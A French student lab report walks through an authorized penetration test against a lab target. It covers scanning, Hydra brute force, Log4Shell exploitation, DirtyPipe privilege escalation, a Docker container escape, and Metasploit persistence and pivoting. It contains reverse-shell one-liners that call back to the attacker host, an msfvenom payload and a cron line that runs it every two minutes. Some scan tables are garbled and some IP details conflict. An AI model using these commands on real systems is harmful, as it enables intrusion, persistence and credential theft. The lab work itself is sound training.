COMPTE RENDU Découvrir le PENTESTING

Table des matières

1.	Planification :
2 .	Premiers scans :
3.	Fuzzing et Bruteforce
4.	Log4Shell9
4	.19
4	.2
5.	Élévation de privilège 12
5	.1.2 Mise en Œuvre
6.	Échappement du container 13
7.	Mise en place d'un reverse-shell 15
7	.1 Création d'une charge malveillante 16
7	.2 Automatisation du lancement de la charge malveillante
8.	Persistance 17
8	.1 Préparatifs 17
8	.2 Mise en place de la persistance 18
9.	Pivotement
9	.1 Découverte du réseau de la victime 19
9	.2 Mise en place d'un proxy 19
10.	Latéralisation et mise en place d'une persistance sur le Firewall
11.	Découverte du réseau LAN 20

1. Planification :

Définissez le périmètre de test autorisé :

Nous avons le droit de faire des tests sur la machine cible de l'entreprise et sur ma Kali attaquant.

Quelles sont les machines impliquées dans ce périmètre ?

Ma kali Attaquant :

Interface réseau : KvmStud6012.

IP:10.11.12.50/24 - eth0

MAC: 42:12:32:01:02:02

<u>L'entreprise cible :</u>

IP:10.26.12.222

Le routeur de l'entreprise cible :

IP:10.26.12.1

Identifiez les connexions entre les interfaces :

Ma machine Kali attaquant est connectée au réseau virtuel dédié via l'interface kvmstud6012.

La machine cible est accessible sur ce réseau à l'adresse IP 10.26.22.222

Faites un schéma réseau que vous complèterez plus tard :



2. Premiers scans :

Scan de l'entreprise :



Scan du routeur :

- Voot B	heli.	/home/kali
🛏 nmap		26.12.1
Starting	Nmap 7	.94 (https://nmap.org) at 2024-12-12 16:40 CET
Nmap scan	repor	t for 10.26.12.1
Host is u	p (0.0	011s latency).
Not shown	: 982	closed tcp ports (reset)
PORT	STATE	SERVICE
22/tcp	open	
53/tcp	open	domain
80/tcp	open	http
5902/tcp	open	vnc-2
5903/tcp	open	vnc-3
5906/tcp	open	rpas-c2
5910/tcp	open	
10001/tcp	open	scp-config
10002/tcp	open	documentum
10003/tcp	open	documentum_s
10004/tcp	open	emcrmirccd
10009/tcp	open	swdtp-sv
10010/tcp	open	rxapi
10012/tcp	open	unknown
10024/tcp	open	unknown
10025/tcp	open	unknown
10215/tcp	open	unknown
10243/tcp	open	unknown
Device ty	pe: ge	neral purpose
Running:	Linux	4.X 5.X
OS CPE: c	pe:/o:	linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS detail	s: Lin	ux 4.15 - 5.8
Network D	istanc	e: 3 hops
OS detect	ion pe	rformed. Please report any incorrect results at
Nmap done	: 1 IP	address (1 host up) scanned in 14.75 seconds

Quelle est la nature de cette machine et sur quel OS fonctionne-t-elle?

C'est un pare feu et il fonctionne sur l'OS : Fortinet - Fortigate 100D

Quel(s) logiciel(s) avez-vous identifié sur la cible ? Indiquez leur version utilisée et la version actuelle. Pour chaque logiciel recherchez les vulnérabilités existantes.



1.HTTP (Port 80) :

Un serveur web. Étant donné que la cible est identifiée comme un firewall, il est possible que le service soit lié à l'interface d'administration web d'un autre serveur derrière le firewall.

- •Version utilisée : nginx /1.22.0
- •Version actuelle : nginx /1.27.3
- •Vulnérabilités existantes:

Exploit TitlePathNginx (Debian Based Distros + Gentoo) - 'logrotate' Local Privilege Eslinux/local/40768.shNginx 0.6.36 - Directory Traversalmultiple/remote/12804.txtNginx 0.6.38 - Heap Corruptionlinux/local/14830.pyNginx 0.6.38 - Arbitrary Code Execution NullByte Injectionmultiple/webapps/24967.txtNginx 0.7.0 < 0.7.61 / 0.6.0 < 0.6.38 / 0.5.0 < 0.5.37 / 0.4.0 < 0.4.1linux/local/14830.pyNginx 0.7.64 - Terminal Escape Sequence in Logs Command Injectionmultiple/remote/3289.txtNginx 0.7.65 / 0.8.39 (dev) - Source Disclosure / Downloadwindows/remote/13822.txtNginx 1.1.17 - URI Processing SecURIty Bypassmultiple/remote/3846.txtNginx 1.3.9 < 1.4.0 - Chuncked Encoding Stack Buffer Overflow (Metaspllinux/mos/25775.rbNginx 1.3.9/1.4.0 (x86) - Brute Forcelinux/dos/25499.pyNginx 1.3.9/1.4.0 (ceneric Linux x64) - Remote Overflowlinux_x86/remote/26737.plNginx 1.4.0 (Generic Linux x64) - Remote Overflowlinux_x86/remote/26737.plNginx 1.4.0 (Generic Linux x64) - Remote Overflowphp/webapps/47553.md	<pre>(root@ kali)-[/home/kali] [# searchsploit nginx</pre>	
Nginx(Debian Based Distros + Gentoo) - 'logrotate' Local Privilege Es linux/local/40768.shNginx0.6.36 - Directory Traversalmultiple/remote/12804.txtNginx0.6.38 - Heap Corruption linux/local/14830.pyNginx0.6.x - Arbitrary Code Execution NullByte Injectionmultiple/webapps/24967.txtNginx0.7.0 < 0.7.61 / 0.6.0 < 0.6.38 / 0.5.0 < 0.5.37 / 0.4.0 < 0.4.1 linux/local/14830.pyNginx0.7.61 - WebDAV Directory Traversalmultiple/remote/9829.txtNginx0.7.64 - Terminal Escape Sequence in Logs Command Injectionmultiple/remote/33490.txtNginx0.7.65/0.8.39 (dev) - Source Disclosure / Downloadwindows/remote/13822.txtNginx1.1.17 - URI Processing SecURIty Bypassmultiple/remote/38846.txtNginx1.3.9 < 1.4.0 - Chuncked Encoding Stack Buffer Overflow (Metaspl linux/dos/25499.pyNginx1.3.9/1.4.0 (x86) - Brute Force linux_x86-64/remote/26737.plNginx1.4.0 (Generic Linux x64) - Remote Overflow linux_x86-64/7emote/32277.txtPHP-FPM + Nginx - Remote Code Execution php/webapps/47553.md	Exploit Title	Path
	Nginx (Debian Based Distros + Gentoo) - 'logrotate' Local Privilege Es Nginx 0.6.36 - Directory Traversal Nginx 0.6.38 - Heap Corruption Nginx 0.6.x - Arbitrary Code Execution NullByte Injection Nginx 0.7.0 < 0.7.61 / 0.6.0 < 0.6.38 / 0.5.0 < 0.5.37 / 0.4.0 < 0.4.1 Nginx 0.7.61 - WebDAV Directory Traversal Nginx 0.7.64 - Terminal Escape Sequence in Logs Command Injection Nginx 0.7.65/0.8.39 (dev) - Source Disclosure / Download Nginx 0.8.36 - Source Disclosure / Donal of Service Nginx 1.1.17 - URI Processing SecURIty Bypass Nginx 1.3.9 < 1.4.0 - Chuncked Encoding Stack Buffer Overflow (Metaspl Nginx 1.3.9 < 1.4.0 - Denial of Service (PoC) Nginx 1.3.9/1.4.0 (x86) - Brute Force Nginx 1.4.0 (Generic Linux x64) - Remote Overflow PHP-FPM + Nginx - Remote Code Execution	<pre> linux/local/40768.sh multiple/remote/12804.txt linux/local/14830.py multiple/webapps/24967.txt linux/dos/9901.txt multiple/remote/9829.txt multiple/remote/33490.txt windows/remote/13822.txt windows/remote/13818.txt multiple/remote/38846.txt multiple/remote/50973.py linux/remote/25775.rb linux/dos/25499.py linux_x86/remote/26737.pl linux_x86-64/remote/32277.txt php/webapps/47553.md</pre>

2.HTTPS (Port 443) :

•Interface d'administration sécurisée via HTTPS.

3.H323HOSTCALLSC (Port 1300) :

•Protocole H.323 pour les appels vidéo/VoIP. Il est souvent utilisé pour les communications SIP dans les équipements réseau.

3. Fuzzing et Bruteforce

Que recouvre le terme de fuzzing?

Le fuzzing (ou test à données aléatoires) est une technique pour tester des logiciels. L'idée est d'injecter des données aléatoires dans les entrées d'un programme.

Quels outils existent pour réaliser ce genre d'opération dans le cadre d'un serveur web?

Burp Suite : Permet d'effectuer des tests de sécurité, y compris du fuzzing sur des requêtes HTTP.

OWASP ZAP (Zed Attack Proxy) : Outil open source pour scanner et tester les vulnérabilités des applications web, avec des fonctions de fuzzing.

Wfuzz : Un autre outil CLI dédié au fuzzing des applications web, souvent utilisé pour tester des champs d'entrée ou des fichiers.

SQLMap : Bien qu'axé sur la détection de vulnérabilités SQL, il peut être utilisé pour tester les champs d'entrée avec des charges malveillantes.

Dirb/Gobuster : Plus orientés vers le fuzzing d'URL et la découverte de répertoires ou de fichiers sur un serveur web.

Quel code du protocole HTTP vous indique une page de connexion?

C'est le code 401 (Unauthorized) qui montre que l'utilisateur doit s'authentifier.

Je fais : dirb http://10.26.12.222 et j'obtiens :

cali)-[/home/kali] # dirb http://10.26.12.222 DIRB v2.22 By The Dark Raver START_TIME: Tue Jan 7 10:59:11 2025 URL_BASE: http://10.26.12.222/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt **GENERATED WORDS: 4612** - Scanning URL: http://10.26.12.222/ ==> DIRECTORY: http://10.26.12.222/css/ ==> DIRECTORY: http://10.26.12.222/developers/ ==> DIRECTORY: http://10.26.12.222/images/ + http://10.26.12.222/index.html (CODE:200|SIZE:18250) => DIRECTORY: http://10.26.12.222/js/ -- Entering directory: http://10.26.12.222/css/ ----- Entering directory: http://10.26.12.222/developers/ --(!) WARNING: All responses for this directory seem to be CODE = 401. (Use mode '-w' if you want to scan it anyway) --- Entering directory: http://10.26.12.222/images/ ------ Entering directory: http://10.26.12.222/js/ ----END_TIME: Tue Jan 7 11:02:46 2025 DOWNLOADED: 18548 - FOUND: 1

La page très intéressante est /developers/

Quand j'essaye d'y accéder, j'ai un pop-up pour me connecter avec un identifiant et un mot de passe



Dirb travaille à partir du répertoire : /usr/share/dirb/wordlists/common.txt

Hydra est un outil de force brute pour tester des authentifications sur des services (HTTP, SSH, FTP, etc.).

Paramètres :

- -L : Fichier avec une liste de noms d'utilisateur.
- -P : Fichier avec une liste de mots de passe.
- -u : Teste tous les mots de passe pour un utilisateur avant de passer au suivant.
- -F : Arrête après avoir trouvé une combinaison valide.
- -s : Spécifie un port personnalisé.

```
(root@ kali)-[/home/kali]
# hydra -L common-users.short.txt -P /usr/share/wordlists/rockyou.txt -u -s 80 http-get://10.26.12.222/developers/
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizatio
ns, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-07 11:24:20
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session foun
d, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 157788389 login tries (l:11/p:14344399), ~9861775 tries per task
[DATA] attacking http-get://10.26.12.222:80/developers/
[STATUS] 6003.00 tries/min, 6003 tries in 00:01h, 157782386 to do in 438:04h, 16 active
[80][http-get] host: 10.26.12.222 login: test password: genius
```

Quel login/mot de passe avez-vous trouvé?

login :test

password : genius

Quel est le contenu de la page chargée ?

La page affiche « Hello World ! »

Sans l'option -u, évaluez à la louche combien de temps il aurait fallu pour trouver le mot de passe ?

Environ 300H

4. Log4Shell

4.1

1. **curl** : permet d'envoyer des requêtes HTTP (ou autres protocoles) vers un serveur. Elle est souvent utilisée pour tester et interagir avec des API ou des pages web.

Paramètres -u, -A, -e :

- -u: Authentification (username:password).
- -A : Définir l'User-Agent.
- -e: Referrer HTTP.
- netcat (ou nc) : Outil réseau pour écouter ou envoyer des données sur un port.
 Paramètres -l, -p, -v :
 - -l : Écouter sur un port.
 - -p : Spécifier un port.
 - -v : Mode verbeux (détails de la connexion).
- 3. **Faille log4j** : Vulnérabilité permettant l'exécution de code à distance via l'injection de données malveillantes dans les logs.

CVE liés : CVE-2021-44228, CVE-2021-45046, CVE-2021-45105.



D'abord on lance le nc –lvp 9999, Netcat attend une connexion sur le port 9999

Avec la commande curl, on envoie une requête HTTP GET à la page /developers du serveur.

On a des caractères bizarres donc la machine est bien vulnérable



Ça fonctionne bien, je peux faire un ls



A quoi sert l'option -e de la commande netcat?

Elle permet d'exécuter un programme une fois connecter, donc le shell pour faire un shell inversé

Sous quel ID êtes-vous connecté?

uid=1000(user) gid=1000(user)

Quel message s'affichera lors d'une connexion à cette machine?

cat /etc/motd

Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general

information about administrating Alpine systems.

See <http://wiki.alpinelinux.org>.

You can setup the system with the command: setup-alpine

You may change this message by editing /etc/motd.

Dans quel contexte la distribution annoncée dans ce message est-elle le plus souvent utilisé ?

cat /etc/os-release

NAME="Alpine Linux"

ID=alpine

VERSION_ID=3.8.2

PRETTY_NAME="Alpine Linux v3.8"

HOME_URL="<u>http://alpinelinux.org</u>"

BUG_REPORT_URL="http://bugs.alpinelinux.org"

En utilisant la commande searchsploit, trouvez le nom de la faille susceptible de compromettre ce système ?



On a trouvé cette faille intéressante

Linux Kernel 5.8 < 5.16.11 - Local Privilege Escalation (DirtyPipe) linux/local/50808.c T

5. Élévation de privilège

La faille Linux Kernel 5.8 < 5.16.11 - Local Privilege Escalation (DirtyPipe) est associée au CVE-2022-0847. Cette vulnérabilité permet à un utilisateur non privilégié d'augmenter ses privilèges et d'exécuter des actions avec les droits d'un autre utilisateur, notamment en exploitant une erreur dans la gestion des flux de données dans le noyau Linux.

Le bit SUID (Set User ID) permet à un fichier exécutable de s'exécuter avec les privilèges de son propriétaire, généralement root, plutôt qu'avec ceux de l'utilisateur qui le lance. Cela est utile pour des programmes nécessitant des droits élevés, comme passwd.

5.1.2 Mise en Œuvre



J'ai créé un dossier dans le /home/user pour avoir les droits.

Je me redirige dedans

Je fais un wget <u>http://10.11.12.50:8000/dirtypipe.c</u> sur le reverse Shell pour récupérer le fichier

Je compile le programme avec : gcc dirtypipe.c

Je cherche un programme : Find / -type f –perm –4000 2>/dev/null

Il y a : /tmp/sh et /usr/bin/sudo

Je le lance avec : ./a.out /usr/bin/sudo

./a.out /usr/bin/sudo [+] hijacking suid binary.. id uid=0(root) gid=0(root)

6. Échappement du container

A quoi sert l'option – privilege au moment du lancement d'un container docker?

L'option --privileged permet au container Docker d'obtenir des privilèges étendus, donnant accès à des périphériques, modules du noyau et systèmes de fichiers de l'hôte, ce qui augmente les risques de sécurité.

Quelles sont les conséquences pratiques de l'usage de cette option ?

Les conséquences pratiques de ces usages sont les suivantes : si l'attaquant est root dans le container il peut alors avoir les privilèges root du système hôte.

Quelle commande permet d'afficher les disques disponibles sur une machine linux ?

Pour afficher les disques disponibles on fait : fdisk -l

fdisk -1 Disk /dev/sda: 8192 MB, 8589934592 bytes, 16777216 sectors 32896 cylinders, 255 heads, 2 sectors/track Units: cylinders of 510 * 512 = 261120 bytes Device Boot StartCHS EndCHS StartLBA EndLBA Sectors Size Id Type /dev/sda1 * 4,4,1 1023,254,2 2048 14776319 14774272 7214M 83 Linux /dev/sda2 1023,254,2 1023,254,2 14778366 16775167 1996802 975M 5 Extended /dev/sda5 1023,254,2 1023,254,2 14778368 16775167 1996800 975M 82 Linux swap

On identifie la présence d'un boot dans le disque /dev/sda1. C'est donc par là qu'il va essayer d'accéder au système hôte. Pour se faire, on va maintenant créer le répertoire /hote dans /mnt.

Quelle commande permet de monter un disque ou une partition sur un répertoire de notre choix ?

Faire : sudo mount /dev/(nom de la partition)(nom du répertoire de montage)

On peut maintenant utiliser la commande : mount /dev/sda1 /mnt/hote pour monter le disque dans le répertoire et ainsi accéder à ce qu'on recherche : la version et le nom du système hôte hébergeant le container.

On peut utiliser les commandes : cat /mnt/hote/etc/os-release et : uname -a pour identifier le noyau. Faire : chroot /mnt/hote /bin/sh



Quelle est la version et le nom du système hôte hébergeant le container ?

Le nom du système hôte hébergeant le container est Debian GNU/Linux 11 (bullseye) et la version est la version 11 (bullseye).

7. Mise en place d'un reverse-shell

Quelles différences y-a-t-il entre les charges bind et reverse?

Bind : Ces attaques sont initiées depuis le système attaquant qui écoute les connexions entrantes sur un port spécifique de la victime.

Reverse : Ces attaques sont initiées depuis le système attaqué qui reçoit une commande venant du système attaquant qui est en état d'écoute de connexion entrante venant de la victime pour y accéder.

Donnez deux charges "reverse" qui seraient potentiellement utilisables sur la Victime (listez les exécutables sur la Victime) :

On vérifie les exécutables sur la Victime avec la commande cat /etc/shells.



On peut utiliser /bin/ash et /bin/bash

Pour bash : bash -i >& /dev/tcp/<IP_Kali>/<port_écoute> 0>&1

Pour ash : ash -c 'sh -i >& /dev/tcp/<IP_Kali>/<port_écoute> 0>&1'

Du point de vue d'un hacker :

•Quel intérêt existe-t-il à utiliser un reverse-shell pour ouvrir une connexion vers une machine distante ?

Bypass des pares-feux : La cible initie la connexion, évitant les restrictions entrantes.

Trafic discret : Ressemble à du trafic réseau normal.

Contrôle total : Permet d'agir sur la machine cible.

• Quel inconvénient cela présente-t-il?

Dépend du réseau cible : Si pas de connexion sortante, ça échoue.

Détection possible : Outils modernes peuvent repérer des comportements suspects.

Fragilité : Redémarrage ou coupure réseau = shell perdu.

7.1 Création d'une charge malveillante

(root® kali)-[/home/kali]
msfvenom -p cmd/unix/reverse_bash LHOST=10.11.12.50 LPORT=4444 --format=raw > payloadDanger
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 75 bytes

7.2 Automatisation du lancement de la charge malveillante

Sur un système Unix à quoi sert le cron?

Cron sert à automatiser différentes choses sur un système Unix comme des scripts ou autres fichiers qui peuvent être automatisé.

Dans quel fichier les tâches "systèmes" sont-elles habituellement planifiées ?

Habituellement planifiées dans /etc/crontab ou des fichiers dans /etc/cron.d/.

A quoi sert l'option -e de la commande crontab?

L'option -e permet de modifier/éditer un fichier crontab de l'utilisateur en cours avec crontab - e

Quelle ligne faudrait-il écrire dans un fichier pour planifier une tâche toutes les 2 mns?



On doit s'inspirer de ce fichier pour créer un fichier lançant notre charge malveillante. D'abord on récupère la charge :



printf "*/2 * * * * root /mnt/note/etc/cron.d/payloadDanger\n" > /etc/cron.d/charge ls charge e2scrub_all payloadDanger

8. Persistance

8.1 Préparatifs

Que fait l'exploit multi/handler?

L'exploit multi/handler permet à l'attaquant d'écouter sur un port spécifique les connexions venant d'une machine cible pour créer un reverse shell.

Quelle charge par défaut est utilisée par cet exploit ?

La charge par défaut est generic/shell_reverse_tcp

Quelles options sont requises pour cette charge?

Les options requises sont LHOST, LPORT et payload. LHOST correspond à l'adresse IP de la machine qui lance l'exploit et LPORT correspond au port d'écoute de la machine attaquante. Le payload est la charge par défaut.

[<u>msf6</u> expl	oit(multi/handler	') > show o	options
Module op	tions (exploit/mu	lti/handle	er):
Name 	Current Setting	Required	Description
Payload o	ptions (cmd/unix/	reverse_ba	ish):
Name	Current Setting	Required	Description
LHOST LPORT	10.11.12.50 4444	yes yes	The listen address (an interface may be specified) The listen port

Au moyen de la commande session -h, trouvez l'option qui permet d'upgrader une session ?

[<u>msf6</u>	exploi	t(multi/handler)	> sessions	
Activ	e sess	ions		
=====	=====	====		
Id	Name	Туре	Information	Connection
5		shell cmd/unix		$10.11.12.50:4444 \rightarrow 10.26.12.222:34140$ (10.26.12.222)

Quel intérêt avez-vous à upgrader une session?

L'intérêt d'upgrader une session est la possibilité de la rendre beaucoup plus puissante et interactive avec le système.

Qu'est-ce qu'un meterpreter?

Un meterpreter est un payload de Metasploit Framework. Souvent utilisé post-exploitation.

Quelles sont les familles de commandes disponibles dans un meterpreter?

Des commandes de fichiers (comme ls ou cat), des commandes de réseaux (comme iproute) et des commandes systèmes (comme kill ou reboot).



8.2 Mise en place de la persistance

Comment s'appelle l'exploit que vous avez sélectionné?

exploit/linux/local/service_persistence.

Quel paramètre permet d'exécuter cet exploit dans une session donnée?

SESSION

Quelle charge par défaut utilise-t-il?

cmd/unix/reverse_netcat

Sur quel port cette charge se met-elle en écoute par défaut ?

Sur le port 4444.

SERVICE no Name of service to create SESSION 7 yes The session to run this module on SHELLPATH /usr/local/bin yes Writable path to put our shell SHELL_NAME no Name of shell file to write	o create 1 this module on 1 tour shell 2 to write
SESSION 7 yes The session to run this module on SHELLPATH /usr/local/bin yes Writable path to put our shell SHELL_NAME no Name of shell file to write	n this module on out our shell e to write
SHELLPATH /usr/local/bin yes Writable path to put our shell SHELL_NAME no Name of shell file to write	out our shell e to write
SHELL_NAME no Name of shell file to write	e to write
yload options (cmd/unix/reverse_netcat):	
Name Current Setting Required Description	

9. Pivotement

Quel est le but d'un pivotement?

Le pivotement (ou pivoting) est une technique utilisée par les hackers ou pentesters après avoir compromis une machine dans un réseau. L'objectif principal est d'utiliser cette machine compromise comme un point d'appui pour accéder à d'autres systèmes ou ressources qui seraient normalement inaccessibles directement.

9.1 Découverte du réseau de la victime

Quelle commande meterpreter permet d'affichez les paramètres IP?

ipconfig

Quelle commande meterpreter permet d'affichez la table de routage?

route

Quelle est l'adresse de la passerelle du réseau dans lequel la Victime se situe ?

La passerelle est indiquée dans les résultats de ipconfig à côté de Default Gateway.

Quelle commande Metasploit permet de créer une route et de l'associer à une session particulière ?

run autoroute -s <subnet>

A quoi sert le module auxiliary/scanner/portscan/tcp?

Il effectue un scan TCP pour identifier les ports ouverts sur une ou plusieurs cibles dans un réseau.

Quelle option permet de préciser le réseau que l'on souhaite scanner?

set RHOSTS < ip du réseaux>

Combien de tâches sont lancées par défaut?

Par défaut, 256 tâches sont lancées simultanément (défini par l'option THREADS).

set THREADS 16

9.2 Mise en place d'un proxy

10. Latéralisation et mise en place d'une persistance sur le Firewall

Je n'ai pas eu le temps de finir cette partie

11. Découverte du réseau LAN

Je n'ai pas eu le temps de commencer cette partie